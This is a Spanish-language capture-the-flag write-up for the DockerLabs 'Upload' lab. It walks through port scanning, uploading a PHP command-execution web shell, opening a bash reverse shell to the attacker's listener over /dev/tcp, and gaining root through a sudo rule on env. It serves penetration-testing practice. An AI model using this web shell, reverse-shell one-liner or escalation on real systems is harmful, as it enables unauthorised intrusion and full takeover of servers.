Post

DockerLabs - Upload

DockerLabs - Upload

nmap

1
2
3
4
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
80/tcp open  http
1
2
3
4
5
6
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ nmap -sCV -p80 172.17.0.2                           
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Upload here your file

análisis

Comenzamos revisando lo que contiene la pagina principal del puerto 80 del laboratorio, donde nos permiten subir un fichero:

Desktop View

acceso incial (www-data)

Tratamos de subir un fichero .php que, al pasarle el parámetro ?cmd, podemos indicar un comando, y si la configuración lo permite, se ejecutará:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ cat shell.php                                                                                           
<?php
        system($_GET['cmd']);
?>

Vemos que no hay ningún filtro que nos impida la subida:

Desktop View

Ahora buscamos recursos donde puede haber guardado la aplicación nuestro script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ gobuster dir -u "http://172.17.0.2" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x .txt,.html,.php
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 200
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              txt,html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/uploads              (Status: 301) [Size: 310] [--> http://172.17.0.2/uploads/]
/index.html           (Status: 200) [Size: 1361]
/upload.php           (Status: 200) [Size: 1357]

Lo encontramos en la carpeta uploads, y vemos que podemos ejecutar comando sin ningún problema:

Desktop View

Teniendo esto claro, obtenemos una consola en la máquina con un payload básico de bash:

Desktop View

1
bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/4444 0>%261'

Habiéndonos puesto en escucha antes de ejecutar el comando en la web, ahora deberíamos haber obtenido la consola:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs/Upload]
└─$ nc -nlvp 4444 
listening on [any] 4444 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 46406
www-data@54d9841b83ec:/var/www/html/uploads$ whoami   
whoami
www-data

escalada de privilegios (root)

Revisamos los permisos SUDO del usuario www-data, y vemos que tiene asignado que puede ejecutar el binario /usr/bin/env como el usuario root:

1
2
3
4
5
6
7
8
www-data@54d9841b83ec:/var/www/html/uploads$ sudo -l
Matching Defaults entries for www-data on 54d9841b83ec:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on 54d9841b83ec:
    (root) NOPASSWD: /usr/bin/env

En GTFOBins nos indican que para obtener acceso como el usuario root, podemos hacerlo de la siguiente manera:

Desktop View

Ejecutamos el comando que nos indican, y vemos que nos hemos convertido en root en la máquina víctima:

1
2
3
www-data@54d9841b83ec:/var/www/html/uploads$ sudo env /bin/sh
# whoami
root

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.